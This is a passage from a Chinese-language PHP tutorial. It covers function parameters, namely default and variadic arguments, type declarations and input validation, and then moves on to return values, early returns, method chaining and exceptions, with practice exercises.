echo "默认税率:" . number_format($price1['total_price'], 2) . "元<br>";

// 使用自定义税率
$price2 = calculatePriceWithTax(100, 0.13);
echo "自定义税率:" . number_format($price2['total_price'], 2) . "元<br>";

// 发送邮件函数
function sendEmail($to, $subject, $message, $priority = "normal", $cc = null) {
    echo "收件人:$to<br>";
    echo "主题:$subject<br>";
    echo "消息:$message<br>";
    echo "优先级:$priority<br>";
    if ($cc) {
        echo "抄送:$cc<br>";
    }
    echo "邮件发送成功!<br><br>";
}

// 不同优先级的邮件
sendEmail("user@example.com", "系统通知", "您的账户已激活");
sendEmail("admin@example.com", "紧急报告", "发现安全漏洞", "high", "security@company.com");
?>

可变数量参数

PHP 5.6+ 提供了 ... 操作符来处理可变数量的参数。

使用 ... 操作符

<?php
function sumAllNumbers(...$numbers) {
    $total = 0;
    foreach ($numbers as $number) {
        $total += $number;
    }
    return $total;
}

echo sumAllNumbers(1, 2, 3, 4, 5) . "<br>";  // 输出:15
echo sumAllNumbers(10, 20) . "<br>";           // 输出:30
echo sumAllNumbers(100) . "<br>";              // 输出:100
echo sumAllNumbers() . "<br>";                 // 输出:0
?>

结合固定参数使用

<?php
function logMessage($level, ...$messages) {
    $timestamp = date('Y-m-d H:i:s');
    $formattedMessage = "[$timestamp] [$level] " . implode(" ", $messages);
    echo $formattedMessage . "<br>";
    // 实际应用中这里会写入日志文件
}

logMessage("INFO", "用户登录", "用户名:admin", "IP:192.168.1.1");
logMessage("ERROR", "数据库连接失败", "错误代码:500");
logMessage("WARNING", "密码即将过期");
?>

展开数组作为参数

<?php
function formatName($firstName, $middleName, $lastName) {
    return "$firstName $middleName $lastName";
}

$nameParts = ["John", "Doe"];
echo formatName("Mr.", ...$nameParts) . "<br>";  // 输出:Mr. John Doe

function createUserInfo($name, $age, $email, $city) {
    return "姓名:$name,年龄:$age,邮箱:$email,城市:$city";
}

$userData = ["张三", 25, "zhangsan@example.com", "北京"];
echo createUserInfo(...$userData) . "<br>";
?>

类型声明

PHP支持参数类型声明,可以确保传递正确类型的数据。

基本类型声明

<?php
// 声明参数必须为整数
function addIntegers(int $a, int $b) {
    return $a + $b;
}

// 声明参数必须为浮点数
function calculateCircleArea(float $radius) {
    return pi() * $radius * $radius;
}

// 声明参数必须为字符串
function greetUser(string $name) {
    return "你好,$name!";
}

// 声明参数必须为数组
function sumArray(array $numbers) {
    return array_sum($numbers);
}

// 声明参数必须为布尔值
function toggleStatus(bool $isActive) {
    return !$isActive;
}

// 测试类型声明
echo addIntegers(5, 3) . "<br>";                    // 正确:8
// echo addIntegers(5, "hello");                  // 错误:类型不匹配

echo calculateCircleArea(5.5) . "<br>";              // 正确:95.03...
echo greetUser("小明") . "<br>";                    // 正确:你好,小明!
echo sumArray([1, 2, 3, 4]) . "<br>";              // 正确:10
echo toggleStatus(true) . "<br>";                   // 正确:false
?>

可空类型声明(PHP 7.1+)

<?php
function processUser(?string $name = null) {
    if ($name === null) {
        return "匿名用户";
    }
    return "你好,$name!";
}

echo processUser("张三") . "<br>";   // 输出:你好,张三!
echo processUser() . "<br>";         // 输出:匿名用户
echo processUser(null) . "<br>";     // 输出:匿名用户
?>

联合类型声明(PHP 8.0+)

<?php
function processId(int|string $id) {
    if (is_int($id)) {
        return "数字ID:$id";
    } else {
        return "字符串ID:$id";
    }
}

echo processId(123) . "<br";           // 输出:数字ID:123
echo processId("ABC123") . "<br>";     // 输出:字符串ID:ABC123
?>

参数验证

在实际应用中,参数验证是非常重要的环节。

基本验证

<?php
function divideNumbers($dividend, $divisor) {
    // 验证参数类型
    if (!is_numeric($dividend) || !is_numeric($divisor)) {
        throw new InvalidArgumentException("两个参数都必须是数字");
    }

    // 验证除数不为零
    if ($divisor == 0) {
        throw new InvalidArgumentException("除数不能为零");
    }

    return $dividend / $divisor;
}

// 测试验证
try {
    echo divideNumbers(10, 2) . "<br>";     // 正确:5
    echo divideNumbers(15, "3") . "<br>";    // 正确:5
    echo divideNumbers(10, 0) . "<br>";      // 错误:除数不能为零
} catch (InvalidArgumentException $e) {
    echo "错误:" . $e->getMessage() . "<br>";
}
?>

详细的参数验证

<?php
// 验证邮箱地址
function validateEmail($email) {
    // 检查是否为字符串
    if (!is_string($email)) {
        return false;
    }

    // 检查长度
    if (strlen($email) < 5 || strlen($email) > 254) {
        return false;
    }

    // 检查格式
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        return false;
    }

    return true;
}

// 验证用户注册数据
function validateUserRegistration($username, $email, $password, $age) {
    $errors = [];

    // 验证用户名
    if (!is_string($username) || strlen($username) < 3 || strlen($username) > 20) {
        $errors[] = "用户名必须是3-20个字符的字符串";
    }

    // 验证邮箱
    if (!validateEmail($email)) {
        $errors[] = "邮箱格式不正确";
    }

    // 验证密码
    if (!is_string($password) || strlen($password) < 6) {
        $errors[] = "密码必须至少6个字符";
    }

    // 验证年龄
    if (!is_int($age) || $age < 0 || $age > 150) {
        $errors[] = "年龄必须是0-150之间的整数";
    }

    return $errors;
}

// 测试验证
$testData = [
    ["abc", "user@example.com", "123456", 25],     // 正确数据
    ["a", "invalid-email", "123", -5]             // 错误数据
];

foreach ($testData as $data) {
    $errors = validateUserRegistration($data[0], $data[1], $data[2], $data[3]);
    if (empty($errors)) {
        echo "用户数据验证通过<br>";
    } else {
        echo "验证错误:<br>";
        foreach ($errors as $error) {
            echo "- $error<br>";
        }
    }
    echo "<br>";
}
?>

实际应用示例

用户管理系统

<?php
// 创建用户函数
function createUser(string $username, string $email, string $password,
                   int $age = null, string $city = "未知", array $preferences = []) {

    // 参数验证
    $errors = validateUserRegistration($username, $email, $password, $age ?? 0);
    if (!empty($errors)) {
        return ['success' => false, 'errors' => $errors];
    }

    // 处理用户偏好设置
    $defaultPreferences = [
        'theme' => 'light',
        'language' => 'zh-CN',
        'notifications' => true
    ];

    $finalPreferences = array_merge($defaultPreferences, $preferences);

    // 创建用户数据
    $user = [
        'id' => uniqid('user_'),
        'username' => $username,
        'email' => $email,
        'password_hash' => password_hash($password, PASSWORD_DEFAULT),
        'age' => $age,
        'city' => $city,
        'preferences' => $finalPreferences,
        'created_at' => date('Y-m-d H:i:s'),
        'is_active' => true
    ];

    // 模拟保存到数据库
    saveUserToDatabase($user);

    return [
        'success' => true,
        'user' => array_diff_key($user, ['password_hash' => '']) // 不返回密码哈希
    ];
}

// 更新用户偏好设置
function updateUserPreferences(string $userId, array $newPreferences) {
    // 获取当前用户数据
    $currentUser = getUserById($userId);
    if (!$currentUser) {
        return ['success' => false, 'message' => '用户不存在'];
    }

    // 合并偏好设置
    $updatedPreferences = array_merge($currentUser['preferences'], $newPreferences);

    // 更新数据库
    $success = updateUserInDatabase($userId, ['preferences' => $updatedPreferences]);

    return [
        'success' => $success,
        'preferences' => $updatedPreferences
    ];
}

// 批量发送通知函数
function sendNotifications(array $userIds, string $message,
                          string $priority = 'normal', ?DateTime $sendTime = null) {
    $results = [];

    foreach ($userIds as $userId) {
        try {
            $user = getUserById($userId);
            if (!$user) {
                $results[$userId] = ['success' => false, 'message' => '用户不存在'];
                continue;
            }

            // 检查用户通知偏好
            if (!$user['preferences']['notifications']) {
                $results[$userId] = ['success' => false, 'message' => '用户禁用了通知'];
                continue;
            }

            // 发送通知(这里简化为记录)
            $notification = [
                'user_id' => $userId,
                'message' => $message,
                'priority' => $priority,
                'send_time' => $sendTime ?? new DateTime(),
                'status' => 'sent'
            ];

            $results[$userId] = ['success' => true, 'notification' => $notification];

        } catch (Exception $e) {
            $results[$userId] = ['success' => false, 'message' => $e->getMessage()];
        }
    }

    return $results;
}

// 模拟的辅助函数(实际项目中这些会连接真实数据库)
function saveUserToDatabase($user) {
    // 模拟保存操作
    return true;
}

function getUserById($userId) {
    // 模拟获取用户
    return [
        'id' => $userId,
        'preferences' => ['notifications' => true, 'theme' => 'light']
    ];
}

function updateUserInDatabase($userId, $data) {
    // 模拟更新操作
    return true;
}

// 测试用户管理系统
echo "=== 用户管理系统测试 ===<br>";

// 创建用户
$result1 = createUser("张三", "zhangsan@example.com", "password123", 25, "北京");
if ($result1['success']) {
    echo "用户创建成功:{$result1['user']['username']}<br>";
} else {
    echo "用户创建失败:<br>";
    foreach ($result1['errors'] as $error) {
        echo "- $error<br>";
    }
}

// 批量发送通知
$userIds = ['user_1', 'user_2', 'user_3'];
$notifications = sendNotifications($userIds, "系统维护通知:今晚10点进行系统升级", "high");

echo "<br>通知发送结果:<br>";
foreach ($notifications as $userId => $result) {
    echo "用户 $userId: " . ($result['success'] ? '成功' : '失败 - ' . $result['message']) . "<br>";
}
?>

数据处理管道

<?php
// 数据处理管道 - 接收多个处理函数和初始数据
function processDataPipeline($initialData, ...$processors) {
    $data = $initialData;
    $pipelineLog = [];

    foreach ($processors as $index => $processor) {
        if (!is_callable($processor)) {
            $pipelineLog[] = "步骤 $index: 处理器不是有效的函数";
            continue;
        }

        try {
            $beforeData = $data;
            $data = $processor($data);
            $pipelineLog[] = "步骤 $index: 处理成功";
        } catch (Exception $e) {
            $pipelineLog[] = "步骤 $index: 处理失败 - " . $e->getMessage();
            break; // 处理失败时停止管道
        }
    }

    return [
        'final_data' => $data,
        'pipeline_log' => $pipelineLog
    ];
}

// 定义一些数据处理函数
function trimData($data) {
    if (is_array($data)) {
        return array_map('trim', $data);
    }
    return trim($data);
}

function sanitizeEmail($data) {
    if (is_array($data)) {
        return array_map(function($email) {
            return filter_var($email, FILTER_SANITIZE_EMAIL);
        }, $data);
    }
    return filter_var($data, FILTER_SANITIZE_EMAIL);
}

function validateData($data) {
    $errors = [];
    if (is_array($data)) {
        foreach ($data as $value) {
            if (empty($value)) {
                $errors[] = "发现空值";
            }
        }
    } else {
        if (empty($data)) {
            $errors[] = "数据为空";
        }
    }

    if (!empty($errors)) {
        throw new Exception(implode(', ', $errors));
    }

    return $data;
}

function transformToUpper($data) {
    if (is_array($data)) {
        return array_map('strtoupper', $data);
    }
    return strtoupper($data);
}

// 测试数据处理管道
echo "=== 数据处理管道测试 ===<br>";

$testData = ["  user@example.com  ", "  admin@test.com  ", "  support@company.com  "];

// 处理数据
$result = processDataPipeline(
    $testData,
    'trimData',           // 去除空白
    'sanitizeEmail',      // 清理邮箱格式
    'validateData',       // 验证数据
    'transformToUpper'    // 转换为大写
);

echo "原始数据:" . implode(', ', $testData) . "<br>";
echo "处理后数据:" . implode(', ', $result['final_data']) . "<br>";
echo "处理日志:<br>";
foreach ($result['pipeline_log'] as $log) {
    echo "- $log<br>";
}

// 另一个示例:数字处理管道
function addVat($prices, $vatRate = 0.21) {
    return array_map(function($price) use ($vatRate) {
        return $price * (1 + $vatRate);
    }, $prices);
}

function formatCurrency($amounts, $currency = '¥') {
    return array_map(function($amount) use ($currency) {
        return $currency . number_format($amount, 2);
    }, $amounts);
}

$prices = [100, 250, 75.50, 420];

echo "<br>=== 价格处理管道 ===<br>";
$priceResult = processDataPipeline(
    $prices,
    function($p) { return addVat($p, 0.13); },  // 加13%税
    'formatCurrency'                           // 格式化为货币
);

echo "原始价格:" . implode(', ', $prices) . "<br>";
echo "含税价格:" . implode(', ', $priceResult['final_data']) . "<br>";
?>

最佳实践

1. 合理使用默认参数

<?php
// 好的做法:为可选参数提供合理的默认值
function connectDatabase($host = 'localhost', $port = 3306, $timeout = 30) {
    return "连接到 $host:$port,超时时间:$timeout秒";
}

// 不好的做法:所有参数都没有默认值
function connectDatabaseBad($host, $port, $timeout) {
    return "连接到 $host:$port,超时时间:$timeout秒";
}
?>

2. 参数验证要充分

<?php
// 好的做法:充分的参数验证
function createUser($name, $email, $age) {
    // 类型检查
    if (!is_string($name) || !is_string($email) || !is_int($age)) {
        throw new InvalidArgumentException('参数类型错误');
    }

    // 值检查
    if (strlen($name) < 2) {
        throw new InvalidArgumentException('姓名至少2个字符');
    }

    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        throw new InvalidArgumentException('邮箱格式错误');
    }

    if ($age < 0 || $age > 150) {
        throw new InvalidArgumentException('年龄必须在0-150之间');
    }

    // 继续处理...
}
?>

3. 避免过多参数

<?php
// 不好的做法:参数过多
function createUserBad($name, $email, $age, $city, $country, $phone, $address, $postalCode) {
    // 太多参数,容易出错
}

// 好的做法:使用数组或对象
function createUser($userData) {
    $required = ['name', 'email', 'age'];
    foreach ($required as $field) {
        if (empty($userData[$field])) {
            throw new InvalidArgumentException("缺少必填字段:$field");
        }
    }

    // 设置默认值
    $userData = array_merge([
        'city' => '未知',
        'country' => '中国',
        'isActive' => true
    ], $userData);

    // 继续处理...
}

// 使用方式
createUser([
    'name' => '张三',
    'email' => 'zhangsan@example.com',
    'age' => 25,
    'city' => '北京'
]);
?>

4. 使用类型声明

<?php
// 好的做法:使用类型声明
function calculateDiscount(float $price, int $percentage, bool $isVip = false): float {
    if ($percentage < 0 || $percentage > 100) {
        throw new InvalidArgumentException('折扣百分比必须在0-100之间');
    }

    if ($isVip) {
        $percentage += 5; // VIP用户额外5%折扣
    }

    return $price * (1 - $percentage / 100);
}
?>

常见错误和解决方案

1. 参数数量不匹配

<?php
function greet($name, $message) {
    echo "$name: $message";
}

// 错误:参数不足
// greet("张三");  // 警告:缺少参数2

// 解决方案:提供默认参数
function greetFixed($name, $message = "你好") {
    echo "$name: $message";
}

greetFixed("张三");  // 正确
?>

2. 引用传递错误

<?php
function modifyArray(&$array) {
    $array[] = "新元素";
}

// 错误:传递字面量
// modifyArray([1, 2, 3]);  // 致命错误

// 解决方案:先创建变量
$myArray = [1, 2, 3];
modifyArray($myArray);  // 正确
?>

3. 类型声明冲突

<?php
function processNumber(int $number) {
    return $number * 2;
}

// 错误:传递字符串会抛出异常
// processNumber("hello");

// 解决方案:进行类型转换或验证
function processNumberSafe($number) {
    if (!is_numeric($number)) {
        throw new InvalidArgumentException("必须是数字");
    }

    $number = (int)$number;
    return $number * 2;
}

processNumberSafe("5");  // 正确
?>

练习题

基础练习

  1. 计算器函数

    <?php
    // 创建一个支持多种运算的计算器函数
    // 支持参数:num1, num2, operator, precision(可选,默认2位小数)
    
    // 你的代码
    
    // 测试
    echo calculate(10, 3, '/', 4);  // 应该输出:3.3333
    echo calculate(10, 3, '/');     // 应该输出:3.33
    ?>
    
  2. 个人信息格式化

    <?php
    // 创建函数格式化个人信息
    // 参数:name, age, city, country(默认"中国")
    
    // 你的代码
    
    echo formatPersonInfo("张三", 25, "北京");                    // 包含默认国家
    echo formatPersonInfo("李四", 30, "上海", "中国");
    ?>
    
  3. 数组处理函数

    <?php
    // 创建函数处理数组数据
    // 使用可变数量参数,返回最大值、最小值、平均值
    
    // 你的代码
    
    $stats = processNumbers(10, 20, 30, 40, 50);
    print_r($stats);
    ?>
    

进阶练习

  1. 用户注册验证

    <?php
    // 创建完整的用户注册验证函数
    // 参数:username, email, password, confirm_password, age(可选)
    // 返回验证结果数组
    
    // 你的代码
    
    $result = validateRegistration("testuser", "test@example.com", "password123", "password123", 25);
    print_r($result);
    ?>
    
  2. 数据过滤器

    <?php
    // 创建通用数据过滤器
    // 参数:data数组,rules数组(包含验证规则)
    // 返回过滤后的数据和错误信息
    
    // 你的代码
    
    $data = ['name' => '张三', 'email' => 'zhangsan@example.com', 'age' => '25'];
    $rules = [
        'name' => 'required|string|min:3',
        'email' => 'required|email',
        'age' => 'required|int|min:0'
    ];
    
    $result = filterData($data, $rules);
    print_r($result);
    ?>
    

实战练习

  1. 购物车系统

    <?php
    // 创建购物车管理函数
    // addToCart($cart, $productId, $quantity = 1, $price, $name)
    // removeFromCart(&$cart, $productId, $quantity = null)
    // calculateCartTotal($cart, $taxRate = 0.08)
    
    // 你的代码
    
    // 测试完整的购物车流程
    ?>
    
  2. 配置管理器

    <?php
    // 创建配置管理函数
    // setConfig($key, $value, $isPublic = true)
    // getConfig($key, $default = null)
    // getAllPublicConfigs()
    // validateConfigFormat($configs)
    
    // 你的代码
    
    // 测试配置管理功能
    ?>
    

总结

参数传递是函数设计中的重要概念,掌握参数传递的各种特性可以让我们编写更灵活、更安全的函数。通过本章的学习,你应该能够:

  1. 理解值传递和引用传递的区别
  2. 合理使用默认参数值
  3. 处理可变数量的参数
  4. 使用类型声明提高代码质量
  5. 进行充分的参数验证
  6. 在实际项目中应用最佳实践

记住,好的参数设计可以让函数更加易用和安全。在实际开发中,要始终考虑参数的验证、默认值设置和类型安全。

下一章我们将学习函数的返回值处理,了解如何让函数返回更有用的结果。

返回值

函数的返回值是函数执行完成后向外传递结果的方式。理解返回值的概念和用法,能够让我们编写出更强大、更灵活的函数。

返回值的基本概念

什么是返回值?

返回值是函数执行后向调用者返回的结果。它就像是函数的"输出接口",让函数能够将处理结果传递给其他代码继续使用。

<?php
// 简单的返回值示例
function addNumbers($a, $b) {
    $sum = $a + $b;
    return $sum;  // 返回计算结果
}

$result = addNumbers(5, 3);  // 接收返回值
echo "5 + 3 = $result";  // 输出:5 + 3 = 8
?>

return 语句的作用

return 语句有两个主要作用:

  1. 返回值:将结果传递给调用者
  2. 终止函数:立即结束函数执行
<?php
function checkNumber($number) {
    if ($number > 0) {
        return "正数";  // 返回并终止函数
    } elseif ($number < 0) {
        return "负数";  // 返回并终止函数
    } else {
        return "零";    // 返回并终止函数
    }

    // 这行代码永远不会执行,因为前面已经有return语句
    echo "这句话不会显示";
}

echo checkNumber(10);  // 输出:正数
echo checkNumber(-5);  // 输出:负数
echo checkNumber(0);   // 输出:零
?>

基本返回值类型

返回简单数据类型

<?php
// 返回整数
function getAge() {
    return 25;
}

// 返回浮点数
function getPrice() {
    return 99.99;
}

// 返回字符串
function getUserName() {
    return "张三";
}

// 返回布尔值
function isAdmin() {
    return true;
}

// 返回数组
function getUserInfo() {
    return [
        'name' => '李四',
        'age' => 30,
        'email' => 'lisi@example.com'
    ];
}

// 使用各种返回值
echo "年龄:" . getAge() . "<br>";
echo "价格:" . getPrice() . "<br>";
echo "用户名:" . getUserName() . "<br>";
echo "是否管理员:" . (isAdmin() ? "是" : "否") . "<br>";

$userInfo = getUserInfo();
echo "用户信息:{$userInfo['name']}, {$userInfo['age']}岁<br>";
?>

返回 null

<?php
function findUserById($userId) {
    $users = [
        1 => '张三',
        2 => '李四',
        3 => '王五'
    ];

    if (isset($users[$userId])) {
        return $users[$userId];  // 找到用户,返回用户名
    } else {
        return null;  // 没找到用户,返回null
    }
}

$user1 = findUserById(1);
if ($user1 !== null) {
    echo "找到用户:$user1<br>";
} else {
    echo "用户不存在<br>";
}

$user2 = findUserById(99);
if ($user2 !== null) {
    echo "找到用户:$user2<br>";
} else {
    echo "用户不存在<br>";
}
?>

返回值类型声明

PHP 7.0+ 支持返回值类型声明,可以指定函数应该返回什么类型的数据。

基本类型声明

<?php
// 声明返回整数
function calculateSum(int $a, int $b): int {
    return $a + $b;
}

// 声明返回字符串
function formatName(string $firstName, string $lastName): string {
    return $firstName . ' ' . $lastName;
}

// 声明返回浮点数
function calculateAverage(array $numbers): float {
    return array_sum($numbers) / count($numbers);
}

// 声明返回布尔值
function isValidEmail(string $email): bool {
    return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}

// 声明返回数组
function getEvenNumbers(int $limit): array {
    $evenNumbers = [];
    for ($i = 2; $i <= $limit; $i += 2) {
        $evenNumbers[] = $i;
    }
    return $evenNumbers;
}

// 测试类型声明的函数
echo "5 + 3 = " . calculateSum(5, 3) . "<br>";
echo "姓名:" . formatName("张", "三") . "<br>";
echo "平均值:" . calculateAverage([1, 2, 3, 4, 5]) . "<br>";
echo "邮箱是否有效:" . (isValidEmail("test@example.com") ? "是" : "否") . "<br>";
echo "偶数:" . implode(', ', getEvenNumbers(10)) . "<br>";
?>

可空返回类型

<?php
// 返回字符串或null
function findUserName(int $userId): ?string {
    $users = [
        1 => '张三',
        2 => '李四'
    ];

    return $users[$userId] ?? null;
}

// 返回数组或null
function getUserSettings(int $userId): ?array {
    $settings = [
        1 => ['theme' => 'light', 'notifications' => true],
        2 => ['theme' => 'dark', 'notifications' => false]
    ];

    return $settings[$userId] ?? null;
}

// 使用可空返回类型
$userName = findUserName(1);
echo "用户1姓名:" . ($userName ?? "不存在") . "<br>";

$userName = findUserName(99);
echo "用户99姓名:" . ($userName ?? "不存在") . "<br>";

$settings = getUserSettings(1);
if ($settings !== null) {
    echo "用户1设置:主题={$settings['theme']}, 通知=" . ($settings['notifications'] ? "开启" : "关闭") . "<br>";
}
?>

联合返回类型(PHP 8.0+)

<?php
// 返回字符串或整数
function processData($data): string|int {
    if (is_numeric($data)) {
        return (int)$data;
    } else {
        return (string)$data;
    }
}

// 返回数组或字符串
function getConfig(string $key): array|string {
    $configs = [
        'database' => ['host' => 'localhost', 'port' => 3306],
        'version' => '1.0.0'
    ];

    return $configs[$key] ?? "配置不存在";
}

// 测试联合类型
echo processData(123) . "<br>";    // 输出:123 (整数)
echo processData("hello") . "<br>"; // 输出:hello (字符串)

$dbConfig = getConfig('database');
if (is_array($dbConfig)) {
    echo "数据库配置:{$dbConfig['host']}:{$dbConfig['port']}<br>";
}

echo "版本:" . getConfig('version') . "<br>";
?>

多返回值处理

PHP函数本身只能返回一个值,但我们可以通过数组、对象等方式实现多返回值的效果。

使用数组返回多个值

<?php
// 返回用户信息数组
function getUserDetails(int $userId): array {
    // 模拟数据库查询
    $users = [
        1 => [
            'name' => '张三',
            'age' => 25,
            'email' => 'zhangsan@example.com',
            'is_active' => true
        ]
    ];

    $user = $users[$userId] ?? null;

    if ($user === null) {
        return ['success' => false, 'message' => '用户不存在'];
    }

    return [
        'success' => true,
        'data' => $user
    ];
}

// 使用列表结构提取返回值
function getStudentStats(int $studentId): array {
    // 模拟学生数据
    $students = [
        1 => ['chinese' => 85, 'math' => 92, 'english' => 88]
    ];

    $scores = $students[$studentId] ?? [0, 0, 0];
    $total = $scores['chinese'] + $scores['math'] + $scores['english'];
    $average = $total / 3;

    return [$total, $average, $scores];  // 返回多个值
}

// 提取多个返回值
[$totalScore, $averageScore, $subjectScores] = getStudentStats(1);

echo "总分:$totalScore<br>";
echo "平均分:" . round($averageScore, 2) . "<br>";
echo "各科成绩:语文{$subjectScores['chinese']}, 数学{$subjectScores['math']}, 英语{$subjectScores['english']}<br>";

// 更复杂的示例:计算器函数
function advancedCalculator(float $a, float $b, string $operation): array {
    $results = [];

    switch ($operation) {
        case '+':
            $results['sum'] = $a + $b;
            break;
        case '-':
            $results['difference'] = $a - $b;
            break;
        case '*':
            $results['product'] = $a * $b;
            break;
        case '/':
            if ($b != 0) {
                $results['quotient'] = $a / $b;
                $results['remainder'] = $a % $b;
            } else {
                $results['error'] = '除数不能为零';
            }
            break;
        default:
            $results['error'] = '不支持的操作';
    }

    $results['operation'] = "$a $operation $b";
    $results['timestamp'] = date('Y-m-d H:i:s');

    return $results;
}

// 使用多返回值计算器
$calcResult = advancedCalculator(10, 3, '/');
foreach ($calcResult as $key => $value) {
    echo "$key: $value<br>";
}
?>

使用对象返回多个值

<?php
// 定义结果对象
class OperationResult {
    public $success;
    public $data;
    public $message;
    public $timestamp;

    public function __construct($success, $data = null, $message = '') {
        $this->success = $success;
        $this->data = $data;
        $this->message = $message;
        $this->timestamp = date('Y-m-d H:i:s');
    }
}

// 用户管理类
class UserManager {
    public function authenticateUser(string $username, string $password): OperationResult {
        // 模拟用户数据库
        $users = [
            'admin' => ['password' => 'admin123', 'role' => 'admin', 'id' => 1],
            'user' => ['password' => 'user123', 'role' => 'user', 'id' => 2]
        ];

        if (!isset($users[$username])) {
            return new OperationResult(false, null, '用户名不存在');
        }

        $user = $users[$username];
        if ($user['password'] !== $password) {
            return new OperationResult(false, null, '密码错误');
        }

        // 认证成功,返回用户信息(不含密码)
        $userData = [
            'id' => $user['id'],
            'username' => $username,
            'role' => $user['role']
        ];

        return new OperationResult(true, $userData, '认证成功');
    }
}

// 使用对象返回值
$userManager = new UserManager();
$authResult = $userManager->authenticateUser('admin', 'admin123');

if ($authResult->success) {
    echo "登录成功!用户信息:<br>";
    echo "ID: {$authResult->data['id']}<br>";
    echo "用户名: {$authResult->data['username']}<br>";
    echo "角色: {$authResult->data['role']}<br>";
    echo "时间: {$authResult->timestamp}<br>";
} else {
    echo "登录失败:" . $authResult->message . "<br>";
}
?>

早期返回模式

早期返回(Early Return)是一种编程模式,通过在函数早期处理错误情况或简单情况,使代码更清晰。

复杂的条件处理

<?php
// 不好的做法:深层嵌套
function processOrderBad($order) {
    if ($order !== null) {
        if (isset($order['items']) && !empty($order['items'])) {
            if (isset($order['customer']) && !empty($order['customer'])) {
                if ($order['total'] > 0) {
                    // 处理订单逻辑
                    return "订单处理成功";
                } else {
                    return "订单金额必须大于0";
                }
            } else {
                return "缺少客户信息";
            }
        } else {
            return "订单中没有商品";
        }
    } else {
        return "订单数据为空";
    }
}

// 好的做法:早期返回
function processOrder($order): string {
    // 早期检查错误情况
    if ($order === null) {
        return "订单数据为空";
    }

    if (!isset($order['items']) || empty($order['items'])) {
        return "订单中没有商品";
    }

    if (!isset($order['customer']) || empty($order['customer'])) {
        return "缺少客户信息";
    }

    if ($order['total'] <= 0) {
        return "订单金额必须大于0";
    }

    // 主要逻辑
    return "订单处理成功";
}

// 测试
$testOrder = [
    'items' => ['商品1', '商品2'],
    'customer' => ['name' => '张三'],
    'total' => 100
];

echo processOrder($testOrder) . "<br>";
echo processOrder(null) . "<br>";
?>

参数验证的早期返回

<?php
// 注册用户函数 - 使用早期返回验证
function registerUser($userData): array {
    // 验证必填字段
    if (!isset($userData['username']) || empty(trim($userData['username']))) {
        return ['success' => false, 'message' => '用户名不能为空'];
    }

    if (!isset($userData['email']) || empty(trim($userData['email']))) {
        return ['success' => false, 'message' => '邮箱不能为空'];
    }

    if (!isset($userData['password']) || strlen($userData['password']) < 6) {
        return ['success' => false, 'message' => '密码至少6个字符'];
    }

    // 验证邮箱格式
    if (!filter_var($userData['email'], FILTER_VALIDATE_EMAIL)) {
        return ['success' => false, 'message' => '邮箱格式不正确'];
    }

    // 验证用户名长度
    if (strlen($userData['username']) < 3 || strlen($userData['username']) > 20) {
        return ['success' => false, 'message' => '用户名必须在3-20个字符之间'];
    }

    // 所有验证通过,开始注册流程
    $user = [
        'id' => uniqid(),
        'username' => $userData['username'],
        'email' => $userData['email'],
        'password_hash' => password_hash($userData['password'], PASSWORD_DEFAULT),
        'created_at' => date('Y-m-d H:i:s'),
        'status' => 'active'
    ];

    // 模拟保存到数据库
    saveUser($user);

    return [
        'success' => true,
        'message' => '注册成功',
        'user_id' => $user['id']
    ];
}

function saveUser($user) {
    // 模拟保存操作
    return true;
}

// 测试注册
$testUsers = [
    ['username' => 'test', 'email' => 'test@example.com', 'password' => 'password123'],
    ['username' => '', 'email' => 'test@example.com', 'password' => 'password123'],
    ['username' => 'test', 'email' => 'invalid-email', 'password' => 'password123']
];

foreach ($testUsers as $userData) {
    $result = registerUser($userData);
    echo $result['message'] . "<br>";
}
?>

返回值 vs 引用传递

有时候我们可以选择返回值或引用传递来修改数据。理解两者的区别很重要。

返回修改后的副本

<?php
// 返回修改后的数组副本
function addTaxToPrices(array $prices, float $taxRate): array {
    $pricesWithTax = [];
    foreach ($prices as $price) {
        $pricesWithTax[] = $price * (1 + $taxRate);
    }
    return $pricesWithTax;
}

// 原数组不会被修改
$originalPrices = [100, 200, 300];
$taxedPrices = addTaxToPrices($originalPrices, 0.1);

echo "原价格:" . implode(', ', $originalPrices) . "<br>";
echo "含税价格:" . implode(', ', $taxedPrices) . "<br>";
?>

使用引用传递修改原数据

<?php
// 通过引用传递修改原数组
function addTaxToPricesRef(array &$prices, float $taxRate): void {
    foreach ($prices as &$price) {
        $price = $price * (1 + $taxRate);
    }
    // 不需要返回值,因为原数组已经被修改
}

// 原数组会被修改
$prices = [100, 200, 300];
echo "修改前:" . implode(', ', $prices) . "<br>";

addTaxToPricesRef($prices, 0.1);
echo "修改后:" . implode(', ', $prices) . "<br>";
?>

链式调用(返回$this)

在面向对象编程中,返回$this可以实现方法链式调用。

<?php
class QueryBuilder {
    private $query = '';
    private $params = [];

    public function select(string $columns): self {
        $this->query = "SELECT $columns";
        return $this;  // 返回自身以支持链式调用
    }

    public function from(string $table): self {
        $this->query .= " FROM $table";
        return $this;
    }

    public function where(string $condition, $value): self {
        $this->query .= " WHERE $condition";
        $this->params[] = $value;
        return $this;
    }

    public function orderBy(string $column, string $direction = 'ASC'): self {
        $this->query .= " ORDER BY $column $direction";
        return $this;
    }

    public function getQuery(): string {
        return $this->query;
    }

    public function getParams(): array {
        return $this->params;
    }
}

// 使用链式调用
$queryBuilder = new QueryBuilder();
$query = $queryBuilder
    ->select('name, email, age')
    ->from('users')
    ->where('age > ?', 18)
    ->orderBy('name', 'ASC')
    ->getQuery();

echo "生成的SQL查询:$query<br>";
?>

异常处理与返回值

使用异常 vs 返回错误码

<?php
// 方式1:返回错误码/错误信息
function divideWithReturn($a, $b) {
    if ($b == 0) {
        return ['success' => false, 'message' => '除数不能为零'];
    }
    return ['success' => true, 'result' => $a / $b];
}

// 方式2:抛出异常
function divideWithException($a, $b) {
    if ($b == 0) {
        throw new InvalidArgumentException('除数不能为零');
    }
    return $a / $b;
}

// 使用返回错误码的方式
$result1 = divideWithReturn(10, 2);
if ($result1['success']) {
    echo "结果:" . $result1['result'] . "<br>";
} else {
    echo "错误:" . $result1['message'] . "<br>";
}

// 使用异常的方式
try {
    $result2 = divideWithException(10, 0);
    echo "结果:$result2<br>";
} catch (InvalidArgumentException $e) {
    echo "错误:" . $e->getMessage() . "<br>";
}
?>

自定义异常类

<?php
// 自定义异常类
class ValidationException extends Exception {
    private $errors;

    public function __construct(array $errors, string $message = "数据验证失败") {
        parent::__construct($message);
        $this->errors = $errors;
    }

    public function getErrors(): array {
        return $this->errors;
    }
}

class UserRegistrationService {
    public function registerUser($userData): array {
